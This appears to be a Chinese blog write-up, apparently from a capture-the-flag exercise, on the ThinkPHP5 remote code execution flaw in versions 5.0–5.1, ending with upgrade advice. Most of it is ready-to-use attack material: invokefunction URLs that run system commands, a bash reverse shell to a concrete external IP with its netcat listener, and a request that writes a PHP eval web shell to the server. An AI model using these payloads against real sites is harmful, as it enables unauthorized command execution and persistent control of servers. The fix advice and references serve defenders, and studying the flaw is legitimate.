ThinkPHP5 远程代码执行漏洞
漏洞描述
**ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
**
ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,是一款兼容性高、部署简单的轻量级国产PHP开发框架。
2018年12月9日,ThinkPHP团队发布了版本更新信息,修复一个远程代码执行漏洞。该漏洞是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可远程执行代码。攻击者利用该漏洞,可在未经授权的情况下,对目标网站进行远程命令执行攻击。
CNVD对该漏洞的综合评级为“高危”。
影响范围
漏洞影响的产品版本包括:
ThinkPHP 5.0—5.1版本。
CNVD秘书处对使用ThinkPHP框架的网站服务器进行探测,数据显示全球使用ThinkPHP框架的服务器规模共有4.3万;按国家分布情况来看,分布前三的分别是中国(3.9万)、美国(4187)和加拿大(471)。
方法一
我们访问页面是这样的
在地址后边添加路径与参数就行
/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
就得到了fiag
方法二
远程命令执行
远程代码执行
/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
```
//弹shell
bash -i >& /dev/tcp/45.92.156.97/8888 0>&1
//攻击机监听
nc -lvvp 8888
```
上传一句话木马
//我们上传一句话
/?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
通过一句话连接
修复建议
此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。
参考
https://blog.csdn.net/qq_45813980/article/details/118463552
https://www.cnvd.org.cn/webinfo/show/4805
声明,本文为翻译文章,作者Adrian Denkiewicz 文章原地址https://www.cloaked.pl/2021/04/cve-2021-26415/ 前言 我想分享在2021-04-13修复的2021-04-13 CVE-2021-26415 …
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论